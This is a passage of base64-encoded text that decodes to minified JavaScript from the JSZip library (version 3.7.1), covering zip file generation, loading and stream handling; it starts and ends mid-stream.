vZGUoYykpLF89ZC5sZW5ndGghPT1oLm5hbWUubGVuZ3RoLGc9bS5sZW5ndGghPT1jLmxlbmd0aCxiPSIiLHY9IiIseT0iIix3PWguZGlyLGs9aC5kYXRlLHg9e2NyYzMyOjAsY29tcHJlc3NlZFNpemU6MCx1bmNvbXByZXNzZWRTaXplOjB9O2UmJiFyfHwoeC5jcmMzMj10LmNyYzMyLHguY29tcHJlc3NlZFNpemU9dC5jb21wcmVzc2VkU2l6ZSx4LnVuY29tcHJlc3NlZFNpemU9dC51bmNvbXByZXNzZWRTaXplKTt2YXIgUz0wO2UmJihTfD04KSxsfHwhXyYmIWd8fChTfD0yMDQ4KTt2YXIgej0wLEM9MDt3JiYoenw9MTYpLCJVTklYIj09PW4/KEM9Nzk4LHp8PWZ1bmN0aW9uKHQsZSl7dmFyIHI9dDtyZXR1cm4gdHx8KHI9ZT8xNjg5MzozMzIwNCksKDY1NTM1JnIpPDwxNn0oaC51bml4UGVybWlzc2lvbnMsdykpOihDPTIwLHp8PWZ1bmN0aW9uKHQpe3JldHVybiA2MyYodHx8MCl9KGguZG9zUGVybWlzc2lvbnMpKSxhPWsuZ2V0VVRDSG91cnMoKSxhPDw9NixhfD1rLmdldFVUQ01pbnV0ZXMoKSxhPDw9NSxhfD1rLmdldFVUQ1NlY29uZHMoKS8yLG89ay5nZXRVVENGdWxsWWVhcigpLTE5ODAsbzw8PTQsb3w9ay5nZXRVVENNb250aCgpKzEsbzw8PTUsb3w9ay5nZXRVVENEYXRlKCksXyYmKHY9QSgxLDEpK0EoQihmKSw0KStkLGIrPSJ1cCIrQSh2Lmxlbmd0aCwyKSt2KSxnJiYoeT1BKDEsMSkrQShCKHApLDQpK20sYis9InVjIitBKHkubGVuZ3RoLDIpK3kpO3ZhciBFPSIiO3JldHVybiBFKz0iXG5cMCIsRSs9QShTLDIpLEUrPXUubWFnaWMsRSs9QShhLDIpLEUrPUEobywyKSxFKz1BKHguY3JjMzIsNCksRSs9QSh4LmNvbXByZXNzZWRTaXplLDQpLEUrPUEoeC51bmNvbXByZXNzZWRTaXplLDQpLEUrPUEoZi5sZW5ndGgsMiksRSs9QShiLmxlbmd0aCwyKSx7ZmlsZVJlY29yZDpSLkxPQ0FMX0ZJTEVfSEVBREVSK0UrZitiLGRpclJlY29yZDpSLkNFTlRSQUxfRklMRV9IRUFERVIrQShDLDIpK0UrQShwLmxlbmd0aCwyKSsiXDBcMFwwXDAiK0Eoeiw0KStBKGksNCkrZitiK3B9fXZhciBJPXQoIi4uL3V0aWxzIiksbj10KCIuLi9zdHJlYW0vR2VuZXJpY1dvcmtlciIpLE89dCgiLi4vdXRmOCIpLEI9dCgiLi4vY3JjMzIiKSxSPXQoIi4uL3NpZ25hdHVyZSIpO2Z1bmN0aW9uIHModCxlLHIsaSl7bi5jYWxsKHRoaXMsIlppcEZpbGVXb3JrZXIiKSx0aGlzLmJ5dGVzV3JpdHRlbj0wLHRoaXMuemlwQ29tbWVudD1lLHRoaXMuemlwUGxhdGZvcm09cix0aGlzLmVuY29kZUZpbGVOYW1lPWksdGhpcy5zdHJlYW1GaWxlcz10LHRoaXMuYWNjdW11bGF0ZT0hMSx0aGlzLmNvbnRlbnRCdWZmZXI9W10sdGhpcy5kaXJSZWNvcmRzPVtdLHRoaXMuY3VycmVudFNvdXJjZU9mZnNldD0wLHRoaXMuZW50cmllc0NvdW50PTAsdGhpcy5jdXJyZW50RmlsZT1udWxsLHRoaXMuX3NvdXJjZXM9W119SS5pbmhlcml0cyhzLG4pLHMucHJvdG90eXBlLnB1c2g9ZnVuY3Rpb24odCl7dmFyIGU9dC5tZXRhLnBlcmNlbnR8fDAscj10aGlzLmVudHJpZXNDb3VudCxpPXRoaXMuX3NvdXJjZXMubGVuZ3RoO3RoaXMuYWNjdW11bGF0ZT90aGlzLmNvbnRlbnRCdWZmZXIucHVzaCh0KToodGhpcy5ieXRlc1dyaXR0ZW4rPXQuZGF0YS5sZW5ndGgsbi5wcm90b3R5cGUucHVzaC5jYWxsKHRoaXMse2RhdGE6dC5kYXRhLG1ldGE6e2N1cnJlbnRGaWxlOnRoaXMuY3VycmVudEZpbGUscGVyY2VudDpyPyhlKzEwMCooci1pLTEpKS9yOjEwMH19KSl9LHMucHJvdG90eXBlLm9wZW5lZFNvdXJjZT1mdW5jdGlvbih0KXt0aGlzLmN1cnJlbnRTb3VyY2VPZmZzZXQ9dGhpcy5ieXRlc1dyaXR0ZW4sdGhpcy5jdXJyZW50RmlsZT10LmZpbGUubmFtZTt2YXIgZT10aGlzLnN0cmVhbUZpbGVzJiYhdC5maWxlLmRpcjtpZihlKXt2YXIgcj1pKHQsZSwhMSx0aGlzLmN1cnJlbnRTb3VyY2VPZmZzZXQsdGhpcy56aXBQbGF0Zm9ybSx0aGlzLmVuY29kZUZpbGVOYW1lKTt0aGlzLnB1c2goe2RhdGE6ci5maWxlUmVjb3JkLG1ldGE6e3BlcmNlbnQ6MH19KX1lbHNlIHRoaXMuYWNjdW11bGF0ZT0hMH0scy5wcm90b3R5cGUuY2xvc2VkU291cmNlPWZ1bmN0aW9uKHQpe3RoaXMuYWNjdW11bGF0ZT0hMTt2YXIgZT10aGlzLnN0cmVhbUZpbGVzJiYhdC5maWxlLmRpcixyPWkodCxlLCEwLHRoaXMuY3VycmVudFNvdXJjZU9mZnNldCx0aGlzLnppcFBsYXRmb3JtLHRoaXMuZW5jb2RlRmlsZU5hbWUpO2lmKHRoaXMuZGlyUmVjb3Jkcy5wdXNoKHIuZGlyUmVjb3JkKSxlKXRoaXMucHVzaCh7ZGF0YTpmdW5jdGlvbih0KXtyZXR1cm4gUi5EQVRBX0RFU0NSSVBUT1IrQSh0LmNyYzMyLDQpK0EodC5jb21wcmVzc2VkU2l6ZSw0KStBKHQudW5jb21wcmVzc2VkU2l6ZSw0KX0odCksbWV0YTp7cGVyY2VudDoxMDB9fSk7ZWxzZSBmb3IodGhpcy5wdXNoKHtkYXRhOnIuZmlsZVJlY29yZCxtZXRhOntwZXJjZW50OjB9fSk7dGhpcy5jb250ZW50QnVmZmVyLmxlbmd0aDspdGhpcy5wdXNoKHRoaXMuY29udGVudEJ1ZmZlci5zaGlmdCgpKTt0aGlzLmN1cnJlbnRGaWxlPW51bGx9LHMucHJvdG90eXBlLmZsdXNoPWZ1bmN0aW9uKCl7Zm9yKHZhciB0PXRoaXMuYnl0ZXNXcml0dGVuLGU9MDtlPHRoaXMuZGlyUmVjb3Jkcy5sZW5ndGg7ZSsrKXRoaXMucHVzaCh7ZGF0YTp0aGlzLmRpclJlY29yZHNbZV0sbWV0YTp7cGVyY2VudDoxMDB9fSk7dmFyIHI9dGhpcy5ieXRlc1dyaXR0ZW4tdCxpPWZ1bmN0aW9uKHQsZSxyLGksbil7dmFyIHM9SS50cmFuc2Zvcm1Ubygic3RyaW5nIixuKGkpKTtyZXR1cm4gUi5DRU5UUkFMX0RJUkVDVE9SWV9FTkQrIlwwXDBcMFwwIitBKHQsMikrQSh0LDIpK0EoZSw0KStBKHIsNCkrQShzLmxlbmd0aCwyKStzfSh0aGlzLmRpclJlY29yZHMubGVuZ3RoLHIsdCx0aGlzLnppcENvbW1lbnQsdGhpcy5lbmNvZGVGaWxlTmFtZSk7dGhpcy5wdXNoKHtkYXRhOmksbWV0YTp7cGVyY2VudDoxMDB9fSl9LHMucHJvdG90eXBlLnByZXBhcmVOZXh0U291cmNlPWZ1bmN0aW9uKCl7dGhpcy5wcmV2aW91cz10aGlzLl9zb3VyY2VzLnNoaWZ0KCksdGhpcy5vcGVuZWRTb3VyY2UodGhpcy5wcmV2aW91cy5zdHJlYW1JbmZvKSx0aGlzLmlzUGF1c2VkP3RoaXMucHJldmlvdXMucGF1c2UoKTp0aGlzLnByZXZpb3VzLnJlc3VtZSgpfSxzLnByb3RvdHlwZS5yZWdpc3RlclByZXZpb3VzPWZ1bmN0aW9uKHQpe3RoaXMuX3NvdXJjZXMucHVzaCh0KTt2YXIgZT10aGlzO3JldHVybiB0Lm9uKCJkYXRhIixmdW5jdGlvbih0KXtlLnByb2Nlc3NDaHVuayh0KX0pLHQub24oImVuZCIsZnVuY3Rpb24oKXtlLmNsb3NlZFNvdXJjZShlLnByZXZpb3VzLnN0cmVhbUluZm8pLGUuX3NvdXJjZXMubGVuZ3RoP2UucHJlcGFyZU5leHRTb3VyY2UoKTplLmVuZCgpfSksdC5vbigiZXJyb3IiLGZ1bmN0aW9uKHQpe2UuZXJyb3IodCl9KSx0aGlzfSxzLnByb3RvdHlwZS5yZXN1bWU9ZnVuY3Rpb24oKXtyZXR1cm4hIW4ucHJvdG90eXBlLnJlc3VtZS5jYWxsKHRoaXMpJiYoIXRoaXMucHJldmlvdXMmJnRoaXMuX3NvdXJjZXMubGVuZ3RoPyh0aGlzLnByZXBhcmVOZXh0U291cmNlKCksITApOnRoaXMucHJldmlvdXN8fHRoaXMuX3NvdXJjZXMubGVuZ3RofHx0aGlzLmdlbmVyYXRlZEVycm9yP3ZvaWQgMDoodGhpcy5lbmQoKSwhMCkpfSxzLnByb3RvdHlwZS5lcnJvcj1mdW5jdGlvbih0KXt2YXIgZT10aGlzLl9zb3VyY2VzO2lmKCFuLnByb3RvdHlwZS5lcnJvci5jYWxsKHRoaXMsdCkpcmV0dXJuITE7Zm9yKHZhciByPTA7cjxlLmxlbmd0aDtyKyspdHJ5e2Vbcl0uZXJyb3IodCl9Y2F0Y2godCl7fXJldHVybiEwfSxzLnByb3RvdHlwZS5sb2NrPWZ1bmN0aW9uKCl7bi5wcm90b3R5cGUubG9jay5jYWxsKHRoaXMpO2Zvcih2YXIgdD10aGlzLl9zb3VyY2VzLGU9MDtlPHQubGVuZ3RoO2UrKyl0W2VdLmxvY2soKX0sZS5leHBvcnRzPXN9LHsiLi4vY3JjMzIiOjQsIi4uL3NpZ25hdHVyZSI6MjMsIi4uL3N0cmVhbS9HZW5lcmljV29ya2VyIjoyOCwiLi4vdXRmOCI6MzEsIi4uL3V0aWxzIjozMn1dLDk6W2Z1bmN0aW9uKHQsZSxyKXsidXNlIHN0cmljdCI7dmFyIHU9dCgiLi4vY29tcHJlc3Npb25zIiksaT10KCIuL1ppcEZpbGVXb3JrZXIiKTtyLmdlbmVyYXRlV29ya2VyPWZ1bmN0aW9uKHQsYSxlKXt2YXIgbz1uZXcgaShhLnN0cmVhbUZpbGVzLGUsYS5wbGF0Zm9ybSxhLmVuY29kZUZpbGVOYW1lKSxoPTA7dHJ5e3QuZm9yRWFjaChmdW5jdGlvbih0LGUpe2grKzt2YXIgcj1mdW5jdGlvbih0LGUpe3ZhciByPXR8fGUsaT11W3JdO2lmKCFpKXRocm93IG5ldyBFcnJvcihyKyIgaXMgbm90IGEgdmFsaWQgY29tcHJlc3Npb24gbWV0aG9kICEiKTtyZXR1cm4gaX0oZS5vcHRpb25zLmNvbXByZXNzaW9uLGEuY29tcHJlc3Npb24pLGk9ZS5vcHRpb25zLmNvbXByZXNzaW9uT3B0aW9uc3x8YS5jb21wcmVzc2lvbk9wdGlvbnN8fHt9LG49ZS5kaXIscz1lLmRhdGU7ZS5fY29tcHJlc3NXb3JrZXIocixpKS53aXRoU3RyZWFtSW5mbygiZmlsZSIse25hbWU6dCxkaXI6bixkYXRlOnMsY29tbWVudDplLmNvbW1lbnR8fCIiLHVuaXhQZXJtaXNzaW9uczplLnVuaXhQZXJtaXNzaW9ucyxkb3NQZXJtaXNzaW9uczplLmRvc1Blcm1pc3Npb25zfSkucGlwZShvKX0pLG8uZW50cmllc0NvdW50PWh9Y2F0Y2godCl7by5lcnJvcih0KX1yZXR1cm4gb319LHsiLi4vY29tcHJlc3Npb25zIjozLCIuL1ppcEZpbGVXb3JrZXIiOjh9XSwxMDpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBpKCl7aWYoISh0aGlzIGluc3RhbmNlb2YgaSkpcmV0dXJuIG5ldyBpO2lmKGFyZ3VtZW50cy5sZW5ndGgpdGhyb3cgbmV3IEVycm9yKCJUaGUgY29uc3RydWN0b3Igd2l0aCBwYXJhbWV0ZXJzIGhhcyBiZWVuIHJlbW92ZWQgaW4gSlNaaXAgMy4wLCBwbGVhc2UgY2hlY2sgdGhlIHVwZ3JhZGUgZ3VpZGUuIik7dGhpcy5maWxlcz1PYmplY3QuY3JlYXRlKG51bGwpLHRoaXMuY29tbWVudD1udWxsLHRoaXMucm9vdD0iIix0aGlzLmNsb25lPWZ1bmN0aW9uKCl7dmFyIHQ9bmV3IGk7Zm9yKHZhciBlIGluIHRoaXMpImZ1bmN0aW9uIiE9dHlwZW9mIHRoaXNbZV0mJih0W2VdPXRoaXNbZV0pO3JldHVybiB0fX0oaS5wcm90b3R5cGU9dCgiLi9vYmplY3QiKSkubG9hZEFzeW5jPXQoIi4vbG9hZCIpLGkuc3VwcG9ydD10KCIuL3N1cHBvcnQiKSxpLmRlZmF1bHRzPXQoIi4vZGVmYXVsdHMiKSxpLnZlcnNpb249IjMuNy4xIixpLmxvYWRBc3luYz1mdW5jdGlvbih0LGUpe3JldHVybihuZXcgaSkubG9hZEFzeW5jKHQsZSl9LGkuZXh0ZXJuYWw9dCgiLi9leHRlcm5hbCIpLGUuZXhwb3J0cz1pfSx7Ii4vZGVmYXVsdHMiOjUsIi4vZXh0ZXJuYWwiOjYsIi4vbG9hZCI6MTEsIi4vb2JqZWN0IjoxNSwiLi9zdXBwb3J0IjozMH1dLDExOltmdW5jdGlvbih0LGUscil7InVzZSBzdHJpY3QiO3ZhciBpPXQoIi4vdXRpbHMiKSxuPXQoIi4vZXh0ZXJuYWwiKSxvPXQoIi4vdXRmOCIpLGg9dCgiLi96aXBFbnRyaWVzIikscz10KCIuL3N0cmVhbS9DcmMzMlByb2JlIiksdT10KCIuL25vZGVqc1V0aWxzIik7ZnVuY3Rpb24gbChpKXtyZXR1cm4gbmV3IG4uUHJvbWlzZShmdW5jdGlvbih0LGUpe3ZhciByPWkuZGVjb21wcmVzc2VkLmdldENvbnRlbnRXb3JrZXIoKS5waXBlKG5ldyBzKTtyLm9uKCJlcnJvciIsZnVuY3Rpb24odCl7ZSh0KX0pLm9uKCJlbmQiLGZ1bmN0aW9uKCl7ci5zdHJlYW1JbmZvLmNyYzMyIT09aS5kZWNvbXByZXNzZWQuY3JjMzI/ZShuZXcgRXJyb3IoIkNvcnJ1cHRlZCB6aXAgOiBDUkMzMiBtaXNtYXRjaCIpKTp0KCl9KS5yZXN1bWUoKX0pfWUuZXhwb3J0cz1mdW5jdGlvbih0LHMpe3ZhciBhPXRoaXM7cmV0dXJuIHM9aS5leHRlbmQoc3x8e30se2Jhc2U2NDohMSxjaGVja0NSQzMyOiExLG9wdGltaXplZEJpbmFyeVN0cmluZzohMSxjcmVhdGVGb2xkZXJzOiExLGRlY29kZUZpbGVOYW1lOm8udXRmOGRlY29kZX0pLHUuaXNOb2RlJiZ1LmlzU3RyZWFtKHQpP24uUHJvbWlzZS5yZWplY3QobmV3IEVycm9yKCJKU1ppcCBjYW4ndCBhY2NlcHQgYSBzdHJlYW0gd2hlbiBsb2FkaW5nIGEgemlwIGZpbGUuIikpOmkucHJlcGFyZUNvbnRlbnQoInRoZSBsb2FkZWQgemlwIGZpbGUiLHQsITAscy5vcHRpbWl6ZWRCaW5hcnlTdHJpbmcscy5iYXNlNjQpLnRoZW4oZnVuY3Rpb24odCl7dmFyIGU9bmV3IGgocyk7cmV0dXJuIGUubG9hZCh0KSxlfSkudGhlbihmdW5jdGlvbih0KXt2YXIgZT1bbi5Qcm9taXNlLnJlc29sdmUodCldLHI9dC5maWxlcztpZihzLmNoZWNrQ1JDMzIpZm9yKHZhciBpPTA7aTxyLmxlbmd0aDtpKyspZS5wdXNoKGwocltpXSkpO3JldHVybiBuLlByb21pc2UuYWxsKGUpfSkudGhlbihmdW5jdGlvbih0KXtmb3IodmFyIGU9dC5zaGlmdCgpLHI9ZS5maWxlcyxpPTA7aTxyLmxlbmd0aDtpKyspe3ZhciBuPXJbaV07YS5maWxlKG4uZmlsZU5hbWVTdHIsbi5kZWNvbXByZXNzZWQse2JpbmFyeTohMCxvcHRpbWl6ZWRCaW5hcnlTdHJpbmc6ITAsZGF0ZTpuLmRhdGUsZGlyOm4uZGlyLGNvbW1lbnQ6bi5maWxlQ29tbWVudFN0ci5sZW5ndGg/bi5maWxlQ29tbWVudFN0cjpudWxsLHVuaXhQZXJtaXNzaW9uczpuLnVuaXhQZXJtaXNzaW9ucyxkb3NQZXJtaXNzaW9uczpuLmRvc1Blcm1pc3Npb25zLGNyZWF0ZUZvbGRlcnM6cy5jcmVhdGVGb2xkZXJzfSl9cmV0dXJuIGUuemlwQ29tbWVudC5sZW5ndGgmJihhLmNvbW1lbnQ9ZS56aXBDb21tZW50KSxhfSl9fSx7Ii4vZXh0ZXJuYWwiOjYsIi4vbm9kZWpzVXRpbHMiOjE0LCIuL3N0cmVhbS9DcmMzMlByb2JlIjoyNSwiLi91dGY4IjozMSwiLi91dGlscyI6MzIsIi4vemlwRW50cmllcyI6MzN9XSwxMjpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0Ijt2YXIgaT10KCIuLi91dGlscyIpLG49dCgiLi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiKTtmdW5jdGlvbiBzKHQsZSl7bi5jYWxsKHRoaXMsIk5vZGVqcyBzdHJlYW0gaW5wdXQgYWRhcHRlciBmb3IgIit0KSx0aGlzLl91cHN0cmVhbUVuZGVkPSExLHRoaXMuX2JpbmRTdHJlYW0oZSl9aS5pbmhlcml0cyhzLG4pLHMucHJvdG90eXBlLl9iaW5kU3RyZWFtPWZ1bmN0aW9uKHQpe3ZhciBlPXRoaXM7KHRoaXMuX3N0cmVhbT10KS5wYXVzZSgpLHQub24oImRhdGEiLGZ1bmN0aW9uKHQpe2UucHVzaCh7ZGF0YTp0LG1ldGE6e3BlcmNlbnQ6MH19KX0pLm9uKCJlcnJvciIsZnVuY3Rpb24odCl7ZS5pc1BhdXNlZD90aGlzLmdlbmVyYXRlZEVycm9yPXQ6ZS5lcnJvcih0KX0pLm9uKCJlbmQiLGZ1bmN0aW9uKCl7ZS5pc1BhdXNlZD9lLl91cHN0cmVhbUVuZGVkPSEwOmUuZW5kKCl9KX0scy5wcm90b3R5cGUucGF1c2U9ZnVuY3Rpb24oKXtyZXR1cm4hIW4ucHJvdG90eXBlLnBhdXNlLmNhbGwodGhpcykmJih0aGlzLl9zdHJlYW0ucGF1c2UoKSwhMCl9LHMucHJvdG90eXBlLnJlc3VtZT1mdW5jdGlvbigpe3JldHVybiEhbi5wcm90b3R5cGUucmVzdW1lLmNhbGwodGhpcykmJih0aGlzLl91cHN0cmVhbUVuZGVkP3RoaXMuZW5kKCk6dGhpcy5fc3RyZWFtLnJlc3VtZSgpLCEwKX0sZS5leHBvcnRzPXN9LHsiLi4vc3RyZWFtL0dlbmVyaWNXb3JrZXIiOjI4LCIuLi91dGlscyI6MzJ9XSwxMzpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0Ijt2YXIgbj10KCJyZWFkYWJsZS1zdHJlYW0iKS5SZWFkYWJsZTtmdW5jdGlvbiBpKHQsZSxyKXtuLmNhbGwodGhpcyxlKSx0aGlzLl9oZWxwZXI9dDt2YXIgaT10aGlzO3Qub24oImRhdGEiLGZ1bmN0aW9uKHQsZSl7aS5wdXNoKHQpfHxpLl9oZWxwZXIucGF1c2UoKSxyJiZyKGUpfSkub24oImVycm9yIixmdW5jdGlvbih0KXtpLmVtaXQoImVycm9yIix0KX0pLm9uKCJlbmQiLGZ1bmN0aW9uKCl7aS5wdXNoKG51bGwpfSl9dCgiLi4vdXRpbHMiKS5pbmhlcml0cyhpLG4pLGkucHJvdG90eXBlLl9yZWFkPWZ1bmN0aW9uKCl7dGhpcy5faGVscGVyLnJlc3VtZSgpfSxlLmV4cG9ydHM9aX0seyIuLi91dGlscyI6MzIsInJlYWRhYmxlLXN0cmVhbSI6MTZ9XSwxNDpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtlLmV4cG9ydHM9e2lzTm9kZToidW5kZWZpbmVkIiE9dHlwZW9mIEJ1ZmZlcixuZXdCdWZmZXJGcm9tOmZ1bmN0aW9uKHQsZSl7aWYoQnVmZmVyLmZyb20mJkJ1ZmZlci5mcm9tIT09VWludDhBcnJheS5mcm9tKXJldHVybiBCdWZmZXIuZnJvbSh0LGUpO2lmKCJudW1iZXIiPT10eXBlb2YgdCl0aHJvdyBuZXcgRXJyb3IoJ1RoZSAiZGF0YSIgYXJndW1lbnQgbXVzdCBub3QgYmUgYSBudW1iZXInKTtyZXR1cm4gbmV3IEJ1ZmZlcih0LGUpfSxhbGxvY0J1ZmZlcjpmdW5jdGlvbih0KXtpZihCdWZmZXIuYWxsb2MpcmV0dXJuIEJ1ZmZlci5hbGxvYyh0KTt2YXIgZT1uZXcgQnVmZmVyKHQpO3JldHVybiBlLmZpbGwoMCksZX0saXNCdWZmZXI6ZnVuY3Rpb24odCl7cmV0dXJuIEJ1ZmZlci5pc0J1ZmZlcih0KX0saXNTdHJlYW06ZnVuY3Rpb24odCl7cmV0dXJuIHQmJiJmdW5jdGlvbiI9PXR5cGVvZiB0Lm9uJiYiZnVuY3Rpb24iPT10eXBlb2YgdC5wYXVzZSYmImZ1bmN0aW9uIj09dHlwZW9mIHQucmVzdW1lfX19LHt9XSwxNTpbZnVuY3Rpb24odCxlLHIpeyJ1c2Ugc3RyaWN0IjtmdW5jdGlvbiBzKHQsZSxyKXt2YXIgaSxuPXUuZ2V0VHlwZU9mKGUpLHM9dS5leHRlbmQocnx8e30sZik7cy5kYXRlPXMuZGF0ZXx8bmV3IERhdGUsbnVsbCE9PXMuY29tcHJlc3Npb24mJihzLmNvbXByZXNzaW9uPXMuY29tcHJlc3Npb24udG9VcHBlckNhc2UoKSksInN0cmluZyI9PXR5cGVvZiBzLnVuaXhQZXJtaXNzaW9ucyYmKHMudW5peFBlcm1pc3Npb25zPXBhcnNlSW50KHMudW5peFBlcm1pc3Npb25zLDgpKSxzLnVuaXhQZXJtaXNzaW9ucyYmMTYzODQmcy51bml4UGVybWlzc2lvbnMmJihzLmRpcj0hMCkscy5kb3NQZXJtaXNzaW9ucyYmMTYmcy5kb3NQZXJtaXNzaW9ucyYmKHMuZGlyPSEwKSxzLmRpciYmKHQ9Zyh0KSkscy5jcmVhdGVGb2xkZXJzJiYoaT1fKHQpKSYmYi5jYWxsKHRoaXMsaSwhMCk7dmFyIGE9InN0cmluZyI9PT1uJiYhMT09PXMuYmluYXJ5JiYhMT09PXMuYmFzZTY0O3ImJnZvaWQgMCE9PXIuYmluYXJ5fHwocy5iaW5hcnk9IWEpLChlIGluc3RhbmNlb2YgZCYmMD09PWUudW5jb21wcmVzc2VkU2l6ZXx8cy5kaXJ8fCFlfHwwPT09ZS5sZW5ndGgpJiYocy5iYXNlNjQ9ITEscy5iaW5hcnk9ITAsZT0iIixzLmNvbXByZXNzaW9uPSJTVE9SRSIsbj0ic3RyaW5nIik7dmFyIG89bnVsbDtvPWUgaW5zdGFuY2VvZiBkfHxlIGluc3RhbmNlb2YgbD9lOnAuaXNOb2RlJiZwLmlzU3RyZWFtKGUpP25ldyBtKHQsZSk6dS5wcmVwYXJlQ29udGVudCh0LGUscy5iaW5hcnkscy5vcHRpbWl6ZWRCaW5hcnlTdHJpbmcscy5iYXNlNjQpO3ZhciBoPW5ldyBjKHQsbyxzKTt0aGlzLmZpbGVzW3RdPWh9dmFyIG49dCgiLi91dGY4IiksdT10KCIuL3V0aWxzIiksbD10KCIuL3N0cmVhbS9HZW5lcmljV29ya2VyIiksYT10KCIuL3N0cmVhbS9TdHJlYW1IZWxwZXIiKSxmPXQoIi4vZGVmYXVsdHMiKSxkPXQoIi4vY29tcHJlc3NlZE9iamVjdCIpLGM9dCgiLi96aXBPYmplY3QiKSxvPXQoIi4vZ2VuZXJhdGUiKSxwPXQoIi4vbm9kZWpzVXRpbHMiKSxtPXQoIi4vbm9kZWpzL05vZGVqc1N0cmVhbUlucHV0QWRhcHRlciIpLF89ZnVuY3Rpb24odCl7Ii8iPT09dC5zbGljZSgtMSkmJih0PXQuc3Vic3RyaW5nKDAsdC5sZW5ndGgtMSkpO3ZhciBlPXQubGFzdEluZGV4T2YoIi8iKTtyZXR1cm4gMDxlP3Quc3Vic3RyaW5nKDAsZSk6IiJ9LGc9ZnVuY3Rpb24odCl7cmV0dXJuIi8iIT09dC5zbGljZSgtMSkmJih0Kz0iLyIpLHR9LGI9ZnVuY3Rpb24odCxlKXtyZXR1cm4gZT12b2lkIDAhPT1lP2U6Zi5jcmVhdGVGb2xkZXJzLHQ9Zyh0KSx0aGlzLmZpbGVzW3RdfHxzLmNhbGwodGhpcyx0LG51bGwse2RpcjohMCxjcmVhdGVGb2xkZXJzOmV9KSx0aGlzLmZpbGVzW3RdfTtmdW5jdGlvbiBoKHQpe3JldHVybiJbb2JqZWN0IFJlZ0V4cF0iPT09T2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKHQpfXZhciBpPXtsb2FkOmZ1bmN0aW9uKCl7dGhyb3cgbmV3IEVycm9yKCJUaGlzIG1ldGhvZCBoYXMgYmVlbiByZW1vdmVkIGluIEpTWmlwIDMuMCwgcGxlYXNlIGNoZWNrIHRoZSB1cGdyYWRlIGd1aWRlLiIpfSxmb3JFYWNoOmZ1bmN0aW9uKHQpe3ZhciBlLHIsaTtmb3IoZSBpbiB0aGlzLmZpbGVzKWk9dGhpcy5maWxlc1tlXSwocj1lLnNsaWNlKHRoaXMucm9vdC5sZW5ndGgsZS5sZW5ndGgpKSYmZS5zbGljZSgwLHRoaXMucm9vdC5sZW5ndGgpPT09dGhpcy5yb290JiZ0KHIsaSl9LGZpbHRlcjpmdW5jdGlvbihyKXt2YXIgaT1bXTtyZXR1cm4gdGhpcy5mb3JFYWNoKGZ1bmN0aW9uKHQsZSl7cih0LGUpJiZpLnB1c2goZSl9KSxpfSxmaWxlOmZ1bmN0aW9uKHQsZSxyKXtpZigxIT09YXJndW1lbnRzLmxlbmd0aClyZXR1cm4gdD10aGlzLnJvb3QrdCxzLmNhbGwodGhpcyx0LGUsciksdGhpcztpZihoKHQpKXt2YXIgaT10O3JldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbih0LGUpe3JldHVybiFlLmRpciYmaS50ZXN0KHQpfSl9dmFyIG49dGhpcy5maWxlc1t0aGlzLnJvb3QrdF07cmV0dXJuIG4mJiFuLmRpcj9uOm51bGx9LGZvbGRlcjpmdW5jdGlvbihyKXtpZighcilyZXR1cm4gdGhpcztpZihoKHIpKXJldHVybiB0aGlzLmZpbHRlcihmdW5jdGlvbih0LGUpe3JldHVybiBlLmRpciYmci50ZXN0KHQpfSk7dmFyIHQ9dGhpcy5yb290K3IsZT1iLmNhbGwodGhpcyx0KSxpPXRoaXMuY2xvbmUoKTtyZXR1cm4gaS5yb290PWUubmFtZSxpfSxyZW1vdmU6ZnVuY3Rpb24ocil7cj10aGlzLnJvb3Qrcjt2YXIgdD10aGlzLmZpbGVzW3JdO2lmKHR8fCgiLyIhPT1yLnNsaWNlKC0xKSYmKHIrPSIvIiksdD10aGlzLmZpbGVzW3JdKSx0JiYhdC5kaXIpZGVsZXRlIHRoaXMuZmlsZXNbcl07ZWxzZSBmb3IodmFyIGU9dGhpcy5maWx0ZXIoZnVuY3Rpb24odCxlKXtyZXR1cm4gZS5uYW1lLnNsaWNlKDAsci5sZW5ndGgpPT09cn0pLGk9MDtpPGUubGVuZ3RoO2krKylkZWxldGUgdGhpcy5maWxlc1tlW2ldLm5hbWVdO3JldHVybiB0aGlzfSxnZW5lcmF0ZTpmdW5jdGlvbih0KXt0aHJvdyBuZXcgRXJyb3IoIlRoaXMgbWV0aG9kIGhhcyBiZWVuIHJlbW92ZWQgaW4gSlNaaXAgMy4wLCBwbGVhc2UgY2hlY2sgdGhlIHVwZ3JhZGUgZ3VpZGUuIil9LGdlbmVyYXRlSW50ZXJuYWxTdHJlYW06ZnVuY3Rpb24odCl7dmFyIGUscj17fTt0cnl7aWYoKHI9dS5leHRlbmQodHx8e30se3N0cmVhbUZpbGVzOiExLGNvbXByZXNzaW9uOiJTVE9SRSIsY29tcHJlc3Npb25PcHRpb25zOm51bGwsdHlwZToiIixwbGF0Zm9ybToiRE9TIixjb21tZW50Om51bGwsbWltZVR5cGU6ImFwcGxpY2F0aW9uL3ppcCIsZW5jb2RlRmlsZU5hbWU6bi51dGY4ZW5jb2RlfSkpLnR5cGU9ci50eXBlLnRvTG93ZXJDYXNlKCksci5jb21wcmVzc2lvbj1yLmNvbXByZXNzaW9uLnRvVXBwZXJDYXNlKCksImJpbmFyeXN0cmluZyI9PT1yLnR5cGUmJihyLnR5cGU9InN0cmluZyIpLCFyLnR5cGUpdGhyb3cgbmV3IEVycm9yKCJObyBvdXRwdXQgdHlwZSBzcGVjaWZpZWQuIik7dS5jaGVja1N1cHBvcnQoci50eXBlKSwiZGFyd2luIiE9PXIucGxhdGZvcm0mJiJmcmVlYnNkIiE9PXIucGxhdGZvcm0mJiJsaW51eCIhPT1yLnBsYXRmb3JtJiYic3Vub3MiIT09ci5wbGF0Zm9ybXx8KHIucGxhdGZvcm09IlVOSVgiKSwid2luMzIiPT09ci5wbGF0Zm9ybSYmKHIucGxhdGZvcm09IkRPUyIpO3ZhciBpPXIuY29tbWVudHx8dGhpcy5jb21tZW50fHwiIjtlPW8uZ2VuZXJhdGVXb3JrZXIodGhpcyxyLGkpfWNhdGNoKHQpeyhlPW5ldyBsKCJlcnJvciIpKS5lcnJvcih0KX1yZXR1cm4gbmV3IG